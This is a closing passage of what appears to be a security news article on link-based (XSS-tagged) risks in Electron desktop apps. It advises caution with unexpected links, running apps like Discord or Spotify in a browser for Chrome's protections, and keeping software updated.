The most general and best advice in many cases is to avoid clicking on links that come in unexpected or in unusual ways. In an ideal world you would distrust them with the same vigor as the links in your mailbox and on social media. However, this can be very difficult in practice because many of these applications _require_ you to click on links to join meetings, accept invitations and so on.

A more workable solution, suggested by the researcher, is to use apps like Discord or Spotify inside your browser, because then you have the protection afforded by Chrome, which is much larger than the one provided by Electron, and you have control whether it’s up to date or not.

Most of us though, will simply stick to downloading our security updates, and hoping the people who make the software are too.

Tag

#xss